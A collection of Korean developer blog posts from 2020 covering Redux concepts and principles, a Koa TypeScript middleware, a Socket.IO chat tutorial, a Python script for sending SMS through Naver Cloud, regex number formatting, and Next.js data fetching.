`Action Creator`는 간단히 말해서 액션을 만드는 함수다. 액션은 payload정보, `Action Creator`는 액션을 만들기 위한 팩토리 임을 구별해야 한다.

`Action Creator`를 호출한다는 것은 단순히 액션을 만드는 것이지, dispatch하는 것이 아니다. 값에 변화를 주기 위해서는 dispatch를 사용해야 한다. 이 따금 `bound action creator`라는 용어가 나오는데, 이는 action creator를 호출하고 그즉시 그 결과를 특정 스토어에 dispatch하는 것을 의미한다.

만약 `Action Creator`가 현재 상태를 읽어오거나, API호출을 하거나, 라우팅 전환 같은 작업을 수행해야 하는 경우 비동기 액션을 반환해야 한다.

### Async Action

```typescript
type AsyncAction = any
```

비동기 액션은 dispatching function에 내보내 지는 값이지만, 아직 리듀서에서 사용할 준비가 안된 값이다. 이는 dispatch 함수를 통해 보내지기 전에 미들웨어를 통해 처리될 필요가 있다. 비동기 액션은 미들웨어에 따라서 다양한 타입이 될 수 있다. 이것들은 Promise나 thunk같은 비동기 원시타입이 될 수 있는데, 이들은 리듀서에 바로 넘길 수는 없지만, 작업이 끝나게 되면 dispatch할 수 있다.

### Middleware

```typescript
type MiddlewareAPI = {dispatch: Dispatch; getState: () => State}
type Middleware = (api: MiddlewareAPI) => (next: Dispatch) => Dispatch
```

미들웨어는 higher-order function으로 dispatch function 을 compose해 새로운 dispatch function을 만든다. 때로는 비동기 액션을 액션으로 바꾸기도 한다.

미들웨어는 함수 합성으로 만들 수 있다. 미들웨어는 액션에 로그를 남기거나, 라우팅, 비동기 API 호출 등 사이드 이펙트를 발생시키는 것들을 동기 액션 내에서 사용할 때 유용하다.

[여기](https://redux.js.org/api/applymiddleware)를 참고하여 미들웨어가 어떻게 생겼는지 살펴보자.

### Store

```typescript
type Store = {
  dispatch: Dispatch
  getState: () => State
  subscribe: (listener: () => void) => () => void
  replaceReducer: (reducer: Reducer) => void
}
```

store란 애플리케이션의 상태 트리를 가지고 있는 객체다. 리덕스 앱에서는 다양한 리듀서레벨을 합성하여 단하나의 스토어만 둘 수 있다.

- [dispatch(action)](https://redux.js.org/api/store#dispatchaction)은 base dispatch를 의미한다.
- [getState()](https://redux.js.org/api/store#getState)는 현재 스토어의 상태 값을 리턴한다.
- [subscribe](https://redux.js.org/api/store#subscribelistener)는 상태의 변화가 있을때 호출되는 함수를 등록할 수 있다.
- [replaceReducer(nextReducer)](https://redux.js.org/api/store#replacereducernextreducer) 핫리로딩이나 코드 스플리팅에 사용할 수 있다. 대부분의 경우 사용할 일이 없다.

[여기](https://redux.js.org/api/store#dispatchaction)에서 자세한 내용을 확인할 수 있다.

### Store creator

```typescript
type StoreCreator = (reducer: Reducer, preloadedState: ?State) => Store
```

`Store creator`는 리덕스 스토어를 만드는 함수다. dispatching function과 마찬가지로, 리덕스 패키지에서 내보낸 [createStore(reducer, preloadedState)](https://redux.js.org/api/createstore)와 store enhancer에서 반환되는 store creator를 구분해야 한다.

### Store enhancer

```typescript
type StoreEnhancer = (next: StoreCreator) => StoreCreator
```

store enhancer는 higher-order function으로 store creator로 새로운 store creator를 반환하는 함수다. 이는 composable한 방식으로 스토어를 변형할 수 있다는 것에서 미들웨어와 비슷하다.

store enhancer는 리액트의 higher-order 컴포넌트와 매우 비슷한데, 리액트에서도 이를 `component enhancer`로 부른다.

스토어는 인스턴스가 아니라 단순한 객채의 집합인 함수이기 때문에, 원래 스토어를 변형시키지 않고도 복사분을 쉽게 만들고 수정할 수 있다. [여기](https://redux.js.org/api/compose)에서 예제를 찾아볼 수 있다.

그러나 아마 이를 쓸일이 별로 없을 것이다. 그러나 개발 툴에서 제공하는 것을 사용할 수 있다. 일례로 앱에서 일어나는 것을 타임 트레블로 녹화하거나 재생할 때 사용된다. 재밌게도, 리덕스의 미들웨어 구현은 그자체가 store enhancer다.

---

Source: https://yceffort.kr/2020/04/redux-study-2.md
Title: 리덕스 공부해보기 (2) - 리덕스의 탄생, 핵심 개념 그리고 3가지 원칙.
Description: ## 리덕스의 탄생 배경 https://redux.js.org/introduction/motivation  **자바스크립트 싱글 페이지 애플리케이션에 대한 요구 사항이 점점 복잡해 짐에 따라서, 우리의 코드는 그 어느 때 보다도 더 많이 상태관리에 대한 필요성을 느끼고 있다.** 여기서 말하는 상태에는 서버 응답, 캐시된 데이터 뿐만아니라 서버에 아직 요...
Date: 2020-04-28
Tags: javascript, react

## 리덕스의 탄생 배경

https://redux.js.org/introduction/motivation

**자바스크립트 싱글 페이지 애플리케이션에 대한 요구 사항이 점점 복잡해 짐에 따라서, 우리의 코드는 그 어느 때 보다도 더 많이 상태관리에 대한 필요성을 느끼고 있다.** 여기서 말하는 상태에는 서버 응답, 캐시된 데이터 뿐만아니라 서버에 아직 요청되지 않은 로컬로 생성된 데이터도 포함된다. UI 상태 또한 다양한 라우팅, 탭, 스피너, 페이징 등을 관리해야 하므로 그 복잡성이 증가하고 있다.

이러한 상태를 연속적으로 관리하는 것은 더 어렵다. 만약 모델이 다른 모델에 의해서 업데이트 될 수 있고, 뷰가 모델을 업데이트하고 또 다른 모델을 연속적으로 업데이트 하면, 차례대로 다른 뷰를 업데이트 할 수도 있다. 이런식의 복잡성이 증가하다보면, 어느 순간 부터 앱에 무슨일이 일어나는지 이해하지 못하게 된다. 이말은, 개발자가 **언제, 어떻게 , 왜 상태가 업데이트 되는지에 대한 통제력을 잃게 된다.** 시스템이 불투명하고 비결정적일 때, 버그를 재현하거나 새로운 기능을 추가하는 것이 굉장히 어려워진다.

개발자로서, 우리는 서버사이드 렌더링, 라우팅이 일어나기전 데이터를 가져오는 등의 일을 처리해야 된다. 이는 우리가 이전에 다루어 보지 못했던 복잡성을 관리해야 하는 자신을 발견 하게 될 것이다.

이러한 복잡성은 mutation과 비동기라는 두가지 어려운 개념이 혼합되어 있기 때문이다. 나는 이 둘을 멘토스와 콜라라고 부른다. 이 두가지는 분리되어 있을 때는 훌륭하지만, 함께 있게 된다면 엉망진창이 된다. 리액트와 같은 라이브러리는 비동 기 및 직접 돔조작을 모두 뷰단에서 제거함으로서 이 문제를 해결하려고 한다. 하지만 데이터 상태에 대 한 관리는 전적으로 개발자의 몫이다. 여기에서 바로 Redux가 필요해진다.

리덕스는 이러한 상태 변화를, 업데이트가 언제 어떻게 일어날 수 있는지 제한하여 예측가능하게 만드려고 시도한다. 이러한 제한은 리덕스의 세가지 원칙에 반영되어 있다.

## 핵심 개념

https://redux.js.org/introduction/core-concepts

만약 당신의 할일 앱이 상태가 하나의 object로 구성되어 있다고 생각해보자.

```javascript
{
  todos: [{
    text: 'Eat food',
    completed: true
  }, {
    text: 'Exercise',
    completed: false
  }],
  visibilityFilter: 'SHOW_COMPLETED'
}
```

이 객체는 마치 setter가 없는 model처럼 보인다. 이는 상태값을 독단적으로 변경할 수 없기 때문에, 재현하기 어려운 버그를 만든다.

(리덕스에서는) 상태에서 무언가를 바꾸기 위해서는, 액션을 dispatch해야 한다. 여기서 액션은 단순한 자바스크립트 객체이며, 이는 무엇이 일어날지를 묘사한다. 액션의 예를 들어보자.

```javascript
{ type: 'ADD_TODO', text: 'Go to swimming pool' }
{ type: 'TOGGLE_TODO', index: 1 }
{ type: 'SET_VISIBILITY_FILTER', filter: 'SHOW_ALL' }
```

모든 변화가 액션으로 설명하도록 강요하는 것은, 앱에서 무슨일이 일어나고 있는지 명확하게 이해할 수 있도록 도와준다. 만약 무언가 변했다면, 그 이유를 알 수 있다. 액션은 마치 빵가루와 같다. (흔적을 남긴다는 뜻) 그것은 단지 상태와 액션을 argument로 남겨두고, 앱의 다음 상태를 리턴하는 것 뿐이다. 사이즈가 큰 앱의 경우 이러한 기능을 명세하기 어려울 수 있으므로, 상태 값을 작은 함수로 나누어서 작성해야 한다.

```javascript
function visibilityFilter(state = 'SHOW_ALL', action) {
  if (action.type === 'SET_VISIBILITY_FILTER') {
    return action.filter
  } else {
    return state
  }
}

function todos(state = [], action) {
  switch (action.type) {
    case 'ADD_TODO':
      return state.concat([{text: action.text, completed: false}])
    case 'TOGGLE_TODO':
      return state.map((todo, index) =>
        action.index === index
          ? {text: todo.text, completed: !todo.completed}
          : todo,
      )
    default:
      return state
  }
}
```

그리고 앱의 완전한 전체 상태를 관리하는 리듀서를 작성하여, 두개의 리듀서를 각각의 키로 호출한다.

```javascript
function todoApp(state = {}, action) {
  return {
    todos: todos(state.todos, action),
    visibilityFilter: visibilityFilter(state.visibilityFilter, action),
  }
}
```

이것이 기본적인 리덕스의 전체적인 아이디어다. 리덕스는 어떠한 종류의 API도 사용하지 않는 다는 것을 명심해두자. 이러한 패턴을 유용하게 사용하기 위해 몇가지 유틸리티를 제공하지만, 주된 아이디어는 액션 오브젝트에 대응하여 시간이 지남에 따라 어떻게 상태가 업데이트 관리되는지 묘사하는 것이며, 그리고 당신이 쓰는 코드의 90%는 그저 평범한 자바스크립트 코드이고, 여기에는 어떠한 - 리덕스, API, 꼼수 - 것들도 쓰이지 않았다.

## 3가지 원칙

리덕스는 아래의 3가지 원칙으로 묘사할 수 있다.

### 신뢰할 수 있는 한가지 소스

**애플리케이션의 전채상테는 하나의 스토어 안에 오브젝트 트리 형태로 저장된다.**

이를 통해 서버의 상태를 별도의 코딩 작업 없이 클라이언트로 직렬화 하고, hydrate (plain형태로 되어 있는 state를 읽어내는 행위) 할 수 있으므로 쉽게 유니버설 앱을 만들 수 있다. 또한 하나의 상태 트리를 사용하면, 애플리케이션을 디버깅하거나 검사하기 쉽다. 또한 더 빠른 개발주기 내에서도 애플리케이션의 상태를 관리할 수 있다. 전통적으로 구현하기 어려웠던 일부기능, 예를 들어 Undo/Redo 등도 모든 상태가 단일 트리에 저장되어 있으면 굉장히 구현하기 쉽다.

```javascript
console.log(store.getState())

/* Prints
{
  visibilityFilter: 'SHOW_ALL',
  todos: [
    {
      text: 'Consider using Redux',
      completed: true,
    },
    {
      text: 'Keep all state in a single tree',
      completed: false
    }
  ]
}
*/
```

### 상태는 무조건 읽기전용이다.

**상태를 변경하는 유일한 방법은, 어떤일이 일어나는지 기술하는 action 이다.**

이는 뷰나 네트웤 콜백 모두 직접적으로 상태를 작성하지 못하게 된다. 대신, State를 변화시키려는 목적을 표현하게 된다. 왜냐하면 모든 변화가 중앙에서 이루어지고, 엄격한 순서에 따라서 하나씩 발생하기 때문에, 조심해야할 race condition이 없다. 작업은 단순한 객체일 뿐이므로, 디버깅이나 테스트 목적으로 녹화, 직렬화, 저장 및 재생할 수 있다.

```javascript
store.dispatch({
  type: 'COMPLETE_TODO',
  index: 1,
})

store.dispatch({
  type: 'SET_VISIBILITY_FILTER',
  filter: 'SHOW_COMPLETED',
})
```

### 변화는 순수 함수로 이루어진다.

**액션을 통해서 상태트리가 어떻게 바뀌는지 묘사하기 위해서는, 순수 리듀서를 작성해야 한다.**

리듀서는 이전의 상태값과 액션을 받아다가, 다음 상태를 반환하는 단순한 함수다. 여기에서는 이전의 상태값이 아닌 새로운 상태 오브젝트를 리턴해야 한다. 단일 리듀서로 시작할 수 있으며, 앱이 커지면 상태트리의 일부를 관리하는 작은 리듀러들로 구성할 수 있다. 리듀서는 단순히 함수이기 때문에, 순서를 조절하거나, 추가 데이터를 넘기거나, 페이징같은 기능을 하기 위한 재사용한 리듀서를 만들 수도 있다.

```javascript
function visibilityFilter(state = 'SHOW_ALL', action) {
  switch (action.type) {
    case 'SET_VISIBILITY_FILTER':
      return action.filter
    default:
      return state
  }
}

function todos(state = [], action) {
  switch (action.type) {
    case 'ADD_TODO':
      return [
        ...state,
        {
          text: action.text,
          completed: false,
        },
      ]
    case 'COMPLETE_TODO':
      return state.map((todo, index) => {
        if (index === action.index) {
          return Object.assign({}, todo, {
            completed: true,
          })
        }
        return todo
      })
    default:
      return state
  }
}

import {combineReducers, createStore} from 'redux'
const reducer = combineReducers({visibilityFilter, todos})
const store = createStore(reducer)
```

---

Source: https://yceffort.kr/2020/04/redux-study-1.md
Title: 리덕스 공부해보기 (1) - 개요
Description: ## 리덕스 공부해보기 1 [리덕스 공식문서](https://redux.js.org/introduction/getting-started)를 스스로 대충 번역해본 글입니다.  리덕스는 자바스크립트 앱을 위한 **예측 가능한 상태 관리 컨테이너**다.  리덕스는 일관성 있게 동작하고, 서로 다른 환경 (클라이언트, 서버, 네이티브)에서 실행되며, 테스트하기 ...
Date: 2020-04-26
Tags: redux, react, javascript

## 리덕스 공부해보기 1

[리덕스 공식문서](https://redux.js.org/introduction/getting-started)를 스스로 대충 번역해본 글입니다.

리덕스는 자바스크립트 앱을 위한 **예측 가능한 상태 관리 컨테이너**다.

리덕스는 일관성 있게 동작하고, 서로 다른 환경 (클라이언트, 서버, 네이티브)에서 실행되며, 테스트하기 쉬운 애플리케이션을 만들 수 있도록 도와준다. 최상단에는, 최상의 개발자 경험을 제공하기 위한 타임 트레블 디버거를 결합한 라이브 코드 편집 등의 기능을 제공한다.

리덕스는 리액트와 함께 사용할 수 있으며, 또한 다른 뷰 라이브러리와 사용할 수 있다. 리액트는 작지만 (디펜던시를 포함하더라도 2kb) 사용가능한 다양한 애드온을 가진 생태계를 가지고 있다.

### 설치

```text
# NPM
npm install redux

# Yarn
yarn add redux
```

이외도 또한 글로벌 변수인 `window.Redux`로 선언된 UMD 패키지로도 사용 가능하다. UMD 패키지는 스크립트 태그에 직접적으로 선언해서 사용 가능하다.

### 리덕스 툴 킷

리덕스는 작고 비편향적이다. (대충 특정 플랫폼에 의존적이지 않다는 뜻) 또한 [Redux Toolkit](https://redux-toolkit.js.org/)이라고 하는 패키지를 가지고 있는데, 이는 리덕스를 보다 효과적으로 사용할 수 있는 패키지이며, 공식적으로 리덕스 로직을 사용하는데 이를 활용하기를 추천한다.

리덕스 툴킷 (이하 RTX)는 일반적인 유즈 케이스를 매우 간결하게 하는데 도움을 주는데, 여기에는 [스토어 설정](https://redux-toolkit.js.org/api/configureStore), [리듀서를 만들고 불면한 업데이트 로직을 작성하는법](https://redux-toolkit.js.org/api/createreducer), [심지어 모든 스테이트를 한번에 슬라이스하는 것](https://redux-toolkit.js.org/api/createslice) 도 포함되어 있다.

새로운 프로젝트에서 Redux를 사용하는 사람인이든, 혹은 기존의 애플리케이션을 단순화 하려는 사용자든 간에 리덕스 툴 킷은 리덕스 코드를 더 잘 만들 수 있도록 도와준다.

## 리액트 리덕스 앱 만들기

리액트와 리덕스가 설치된 앱을 만드는 방법으로 추천하는 것은 Create React App의 [오피셜 리액트+JS 템클릿](https://github.com/reduxjs/cra-template-redux)을 사용하는 것이다. 이는 리덕스 툴킷을 사용하는 장점과 리액트 리덕스를 리액트 컴포넌트에 연동하기 쉽게 해준다.

```text
npx create-react-app my-app --template redux
```

### 일반적인 예제

**앱의 전체 상태는, 단일 스토어 내의 오브젝트 트리에 저장된다.** 상태 트리에 변화를 주는 유일한 방법은 액션을 emit하는 것인데, 이는 오브젝트에 어떤 변화가 있는지를 알려주는 것이다. 액션이 어떻게 상태 트리를 변화시키는지 지정하기 위해, 순수한 리듀서를 작성한다.

```javascript
import {createStore} from 'redux'
/**
 아래 함수는 (state, action) => state로 구성된 순수한 함수인 리듀서 이다.

 state의 구조는 개발자에 따라 달려있다. 원시타입, 배열, 오프젝트, 혹은 Immutabale.js 데이터 구조가 될 수도 있다. 
 여기에서 중요한 것은 상태 객체를 바로 변경하지 말고, 상태가 변경되면 새로운 오브젝트를 반환해야 한다는 것이다. 

 아래 예제에서는, switch와 string을 사용했으며, function map을 사용하는등 다양한 방법을 시도해볼 수 있다. 
 */
function counter(state = 0, action) {
  switch (action.type) {
    case 'INCREMENT':
      return state + 1
    case 'DECREMENT':
      return state - 1
    default:
      return state
  }
}

// 앱의 상태를 가지고 있을 스토어를 만든다.
// 여기애는 { subscribe, dispatch, getState } 가 있다.
let store = createStore(counter)

// 상태 변화의 응답에 따른 UI를 업데이트 하기 위해서는 subscribe()를 사용해야 한다.
// 보통 개발자들은 뷰 바인딩 라이브러리 (리액트 리덕스)를 subscribe()를 직접적으로 사용하는 것 보다 더 자주 쓸 것이다.
// 그러나 localStorage에서 현재 상태를 유지하는데에도 사용할 수 있다.

store.subscribe(() => console.log(store.getState()))

// 내부 상태값을 바꾸는 유일한 방법은 action을 dispatch하는 것이다.
//액션은 시리얼라이즈 할 수 있으며, 로그를 남기거나, 저장하거나, 이어서 할 수 있다.
store.dispatch({type: 'INCREMENT'})
// 1
store.dispatch({type: 'INCREMENT'})
// 2
store.dispatch({type: 'DECREMENT'})
// 1
```

상태를 직접적으로 수정하는 대신, 개발자가 원하는 변화를 `액션`이라는 플레인 오브젝트로 구체화 해야 한다. 그 다음, 리듀서라고 하는 특수 함수를 작성하여 모든 액션이 전체 애플리케이션을 어떻게 변화 시키는지 결정한다.

전형적인 리액트 앱에는 하나의 단일 스토어와 함께 단일 루트 리듀싱 함수가 존재할 뿐이다. 애플리케이션이 커짐에 다라서, 루트 리듀서를 더 작은 리듀서로 나누고, 각각의 상태 트리를 독립적으로 나누기도 한다. 이것은 리액트 앱에서 하나의 루트 컴포넌트가 있지만, 많은 작은 컴포넌트로 구성되어 있는 것과 비슷하다.

이러한 아키텍쳐는 좀 과해 보일 수 있지만, 이러한 배턴의 미덕은 크고 복잡한 애플리케이션을 잘 확장할 수 있다는 데에 있다. 또한 매우 강력한 개발자도구를 사용할 수 있다. 왜냐하면 이러한 액션으로 인한 모든 변화를 추적할 수 있기 때문이다. 모든 동작을 기록해뒀다가, 다시 재생해서 볼 수 있다.

## 예제 프로젝트

[여기](https://redux.js.org/introduction/examples)를 확인해보자.

---

Source: https://yceffort.kr/2020/04/koa-middleware-with-typescript.md
Title: 타입스크립트로 koa 미들웨어 만들기
Description: koa 미들웨어 만들기
Date: 2020-04-15
Tags: typescript, nodejs

```typescript
export async function MyMiddleware(
  ctx: Koa.Context,
  next: (ctx: Koa.Context) => Promise<any>,
) {
  console.log('first middleware started..')

  // ctx를 조작하여 인증등의 옵션을 처리할 수 있다.
  const {
    header: {auth},
  } = ctx

  if (auth === 'foo') {
    ctx.state.user = user
  } else {
    // 401
    ctx.status = 401
    // 다음 미들웨어로 넘어가지 못하고 끝나게 된다.
    return
  }

  // 다음 미들웨어로 넘어간다.
  await next(ctx)

  console.log('first middleware finished..')
}
```

이런 미들웨어를 활용해서 logger를 만들 수도 있다.

expressjs의 경우 https://github.com/expressjs/morgan 가 있고,

koa를 활용할 경우 https://github.com/koa-modules/morgan 를 활용하면 된다.

---

Source: https://yceffort.kr/2020/03/socket-io.md
Title: Socket.IO 공부하기 (1)
Description: ## WebSocket 웹은 전형적으로 HTTP 요청에 대한 HTTP 응답을 받고, 이에 따라 브라우저 화면을 새로 만드는 방식이다. 따라서 데이터 통신은 요청과 응답이 한 쌍으로 묶여왔다. 그러나 웹 페이지가 보다 쉽게 상호작용을 하려면, 브라우저와 웹 사이에 이러한 요청 - 응답 방식이 아닌 더 자유로운 양방향 메시지 송수신 기술이 필요하다. 이러한 ...
Date: 2020-03-22
Tags: nodejs, websocket

## WebSocket

웹은 전형적으로 HTTP 요청에 대한 HTTP 응답을 받고, 이에 따라 브라우저 화면을 새로 만드는 방식이다. 따라서 데이터 통신은 요청과 응답이 한 쌍으로 묶여왔다. 그러나 웹 페이지가 보다 쉽게 상호작용을 하려면, 브라우저와 웹 사이에 이러한 요청 - 응답 방식이 아닌 더 자유로운 양방향 메시지 송수신 기술이 필요하다. 이러한 요구를 충족하기 위해 HTML5에서 표준안의 일부로 WebSocket이 등장하였다.

- 문서보기: https://html.spec.whatwg.org/multipage/web-sockets.html
- Caniuse: https://caniuse.com/#feat=websockets

## Socket.io

https://github.com/socketio/socket.io

Socket.io는 WebSocket이 나올 당시 (2011년 쯤?) 모든 브라우저가 지원하지는 않았으므로, 대다수의 브라우저에 WebSocket 기능을 사용할 수 있도록 구현한 라이브러리다. Github의 used by 로 봐서는 요즘에도 많이 쓰고 있는 것 같다.

### Express를 활용한 기본적인 예제

#### 1. 기본설정

먼저 npm에서 socket.io를 설치한다.

```javascript
var app = require('express')()
var http = require('http').createServer(app)
var io = require('socket.io')(http)

// index.html을 서빙한다
app.get('/', function (req, res) {
  res.sendFile(__dirname + '/index.html')
})

// 'connection' 이라는 이벤트를 감지한다.
io.on('connection', function (socket) {
  console.log('a user connected')
})

// http를 3000포트에서 실행한다.
http.listen(3000, function () {
  console.log('listening on *:3000')
})
```

이제 localhost:3000 으로 접속하면 아래와 같은 로그를 확인할 수 있다.

```text
listening on *:3000
a user connected
```

연결 외에 연결 종료를 감지하면 아래와 같이 코드를 추가한다.

```javascript
io.on('connection', function (socket) {
  console.log('a user connected')
  socket.on('disconnect', function () {
    console.log('user disconnected')
  })
})
```

다시 실행하고, 페이지를 닫으면 이제 아래와 같이 로그가 찍힌다.

```text
listening on *:3000
a user connected
user disconnected
a user connected
user disconnected
```

#### 2. 이벤트 보내기

이제 클라이언트에서 이벤트를 보내보자. 기본적으로 보낼 수 있는 객체는 JSON형태이며, binary data도 가능하다.

```html
<script src="https://code.jquery.com/jquery-1.11.1.js"></script>
<script>
  $(function () {
    var socket = io()
    $('form').submit(function (e) {
      e.preventDefault() // prevents page reloading
      socket.emit('chat message', $('#m').val())
      $('#m').val('')
      return false
    })
  })
</script>
```

```javascript
io.on('connection', function (socket) {
  socket.on('chat message', function (msg) {
    console.log('message: ' + msg)
  })

  socket.on('disconnect', function () {
    console.log('user disconnected')
  })
})
```

```text
> node index.js

listening on *:3000
message: 와
message: 이렇게 메시지가 가는구나
message: 신기하네
```

#### 3. 브로드캐스팅

브로드 캐스팅은 서버에서 현재 connection으로 접속한 모든 유저에게 이벤트를 보내는 것이다. `io.emit`을 활용하면 된다.

```javascript
io.on('connection', function (socket) {
  socket.on('chat message', function (msg) {
    // chat message를 보낸 사용자를 제외한 모든 사용자에게 emit
    // socket.broadcast.emit(msg)
    // 그냥 모든 사용자에게 emit
    io.emit('chat message', msg)
  })

  socket.on('disconnect', function () {
    console.log('user disconnected')
  })
})
```

이제 클라이언트 사이드에서 'chat message' 를 감지한다.

```html
<script>
  $(function () {
    var socket = io()
    $('form').submit(function (e) {
      e.preventDefault() // prevents page reloading
      socket.emit('chat message', $('#m').val())
      $('#m').val('')
      return false
    })
    socket.on('chat message', function (msg) {
      $('#messages').append($('<li>').text(msg))
    })
  })
</script>
```

![chat-example](./images/chat-example.png)

기본적인 채팅기능은 만들었지만, 실제 활용하기엔 조금 거리가 있다. 소켓서버와 채팅서버가 같이있고, 채팅방도 단 하나 뿐이다. 다음 예제에서는 koa와 함께 소켓서버를 따로 구축하고, 채팅 (frontend)과 분리해서 여러개의 채팅방을 만드는 예제를 해보려고 한다.

---

Source: https://yceffort.kr/2020/03/ncloud-sms.md
Title: [Python] Send ncloud sms message
Description: 네이버 클라우드 플랫폼의 서비스 중 하나인 https://www.ncloud.com/product/applicationService/sens 로 SMS를 발송하는 예제. ncloud서비스를 다 써본건 아니지만, `make_signature`는 전 서비스에 다 똑같이 쓸 수 있을 것 같은 기분이다. ```python import time import req...
Date: 2020-03-17
Tags: python, backend

네이버 클라우드 플랫폼의 서비스 중 하나인 https://www.ncloud.com/product/applicationService/sens 로 SMS를 발송하는 예제. ncloud서비스를 다 써본건 아니지만, `make_signature`는 전 서비스에 다 똑같이 쓸 수 있을 것 같은 기분이다.

```python
import time
import requests
import hashlib
import hmac
import base64

def send_sms(phone_number, subject, message):
  def make_signature(access_key, secret_key, method, uri, timestmap):
    secret_key = bytes(secret_key, 'UTF-8')

    message = method + " " + uri + "\n" + timestamp + "\n" + access_key
    message = bytes(message, 'UTF-8')
    signingKey = base64.b64encode(hmac.new(secret_key, message, digestmod=hashlib.sha256).digest())
    return signingKey

  #  URL
  url = 'https://sens.apigw.ntruss.com/sms/v2/services/ncp:sms:kr:99999999999:sample/messages'
  # access key
  access_key = 'access_key'
  # secret key
  secret_key = 'secret_key'
  # uri
  uri = '/sms/v2/services/ncp:sms:kr:99999999999:sample/messages'
  timestamp = str(int(time.time() * 1000))

  body = {
    "type":"LMS",
    "contentType":"COMM",
    "countryCode":"82",
    "from":"01012345678",
    "content": message,
    "messages":[
        {
            "to": phone_number,
            "subject": subject,
            "content": message
        }
    ]
  }

  key = make_signature(access_key, secret_key, 'POST', uri, timestamp)
  headers = {
    'Content-Type': 'application/json; charset=utf-8',
    'x-ncp-apigw-timestamp': timestamp,
    'x-ncp-iam-access-key': access_key,
    'x-ncp-apigw-signature-v2': key
  }


  res = requests.post(url, json=body, headers=headers)
  print(res.json())
  return res.json()
```

---

Source: https://yceffort.kr/2020/03/regex-formatting-number.md
Title: Javascript Regex 숫자를 comma와 함께 Formatting 하기
Description: regex를 활용해서 숫자를 보기좋게 formatting을 해보자.
Date: 2020-03-17
Tags: javascript, regex

regex를 활용해서 숫자에 , 를 찍어서 formatting을 해보자.

## 1. 첫번째 시도

```javascript
function formatNumber(number) {
  return number.toString().replace(/\B(?=(\d{3})+(?!\d))/g, ',')
}
```

인터넷에 가장 많이 떠돌아 다니는 해결책으로, 아쉽게도 소수점에 대한 대응이 되지 않는다.

```javascript
'1111.1111111'.toString().replace(/\B(?=(\d{3})+(?!\d))/g, ',')
// 1,111.1,111,111
```

## 2. 두번째 시도

```javascript
function formatNumber(number) {
  return number.toString().replace(/\B(?<!\.\d*)(?=(\d{3})+(?!\d))/g, ',')
}
```

```javascript
'1111.1111111'.toString().replace(/\B(?<!\.\d*)(?=(\d{3})+(?!\d))/g, ',')
// 1,111.1111111
```

이게 성공하는 줄 알고, test 도 넘어가길래 실제로 써보았더니 앱에서 오류가 나기 시작했다. ㅠ.ㅠ

```javascript
'1111.1111111'.toString().replace(/\B(?<!\.\d*)(?=(\d{3})+(?!\d))/g, ',')
// SyntaxError: Invalid regular expression: invalid group specifier name
```

이와 관련된 posting은 여기 [여기](https://stackoverflow.com/questions/51568821/works-in-chrome-but-breaks-in-safari-invalid-regular-expression-invalid-group)에서 찾아볼 수 있었다.

`x(?<=y)` `x(?<!y)`는 각각 lookbehind 문법으로, 아쉽게도 [사파리와 익스플로러에서는 지원하지 않는다.](https://caniuse.com/#feat=js-regexp-lookbehind). (감사합니다.)

따라서 아쉽게도, 순수 regex로 모든 브라우저 환경을 지원하면서 대체 하기는 무리인듯 하다.

## 3. (지금까지의) 정답

```javascript
function formatNumber(x) {
  var parts = x.toString().split('.')
  parts[0] = parts[0].replace(/\B(?=(\d{3})+(?!\d))/g, ',')
  return parts.join('.')
}
```

언젠가 더 좋은 방법을 찾기를 바라며 (...)

---

Source: https://yceffort.kr/2020/03/nextjs-02-data-fetching.md
Title: NextJS 2. Data Fetching
Description: [nextjs의 공식 문서](https://nextjs.org/docs/basic-features/data-fetching)를 보고 요약한 내용입니다. ```toc tight: true, from-heading: 1 to-heading: 2 ```  ## 1. getInitialProps  Nextjs 9.3 이전에는 `getInitialProps` 밖에...
Date: 2020-03-12
Tags: nextjs, frontend

[nextjs의 공식 문서](https://nextjs.org/docs/basic-features/data-fetching)를 보고 요약한 내용입니다.

## Table of Contents

## 1. getInitialProps

Nextjs 9.3 이전에는 `getInitialProps` 밖에 존재하지 않는다. 최신 버전인 9.3에서는 밑에서 설명할 `getStaticProps`나 `getServerSideProps`를 사용하기를 권장한다. (왠지 deprecate 될 것 같은 기분이다.)

`getInitialProps`는 페이지에서 서버사이드 렌더링을 가능하게 하며, 페이지가 호출될 때 최초로 데이터 조작을 가능하게 한다. 이 말의 뜻은, 서버에서 데이터를 불러온 다음에, 이 데이터와 함께 페이지를 내보낸다는 뜻이다. 이는 특히 SEO 등에서 유용하다.

> 주의: `getInitialProps`를 쓰는 순간 nextjs의 automatic static optimization이 불가능해진다.

예제를 살펴보자.

```typescript
import { NextPageContext } from 'next'
import React from 'react'
import fetch from 'isomorphic-fetch'

interface EmployeeInterface {
  id: number
  employee_name: string
  employee_salary: number
  employee_age: number
  profile_image: string
}

export default function Data({ data }: { data: EmployeeInterface[] }) {
  return (
    <>
      <h1>Employee list</h1>
      {data.map(
        ({ id, employee_age, employee_name, employee_salary }, index) => (
          <div key={index}>
            <span>{id}.</span>
            <span>{employee_name} </span>
            <span>${employee_salary}</span>
            <span> {employee_age} years old</span>
          </div>
        ),
      )}
    </>
  )
}

Data.getInitialProps = async (_: NextPageContext) => {
  const response = await fetch(
    'http://dummy.restapiexample.com/api/v1/employees',
  )
  const { data } = await response.json()

  return { data }
}
```

`getInitialProps` 내 에서 비동기로 데이터를 가져 온 다음에, props를 만들어 컴포넌트에 넘긴다. 한가지 명심할 것은, 여기서 컴포넌트에 넘겨주는 행위는 `JSON.stringify`와 비슷하다. 따라서 넘길 수 있는 데이터는 순수 Object여야 한다.

**중요 포인트**

1. 처음 페이지가 로딩 된다면, `getInitialProps`는 서버에서만 로딩된다. 그러나 `next/link` 또는 `next/router`를 통해서 클라이언트 사이드에서 페이지 이동이 일어난다면, 클라이언트 사이드에서 실행될 수 있다.

2. `getInitialProps` 는 자식 컴포넌트에서 사용할 수 없다. 오직 각 페이지에서만 실행 가능하다.

3. 1번의 이유에 따라서, `getInitialProps`내에서 서버사이드에서만 실행될 수 있는 모듈을 내장하고 있다면, 주의를 기울여야 한다. 만약 서버사이드에서만 작동하고 싶은 로직이 있다면, 아래처럼 하면 된다.

```typescript
Data.getInitialProps = async ({req}: NextPageContext) => {
  console.log('fetch some data')
  const response = await fetch(
    'http://dummy.restapiexample.com/api/v1/employees',
  )
  const {data} = await response.json()

  let isServer = false
  if (req) {
    // is server side???????
    isServer = true
  }

  return {data, isServer}
}
```

## 2. getStaticProps

정적 페이지 생성을 지원하며, 데이터를 딱 빌드 타임에만! 실행된다.

```typescript
export async function getStaticProps(_: NextPageContext) {
  const response = await fetch(
    'http://dummy.restapiexample.com/api/v1/employees',
  )
  const {data} = await response.json()

  console.log('fetchData in build time!')

  return {
    props: {data},
  }
}
```

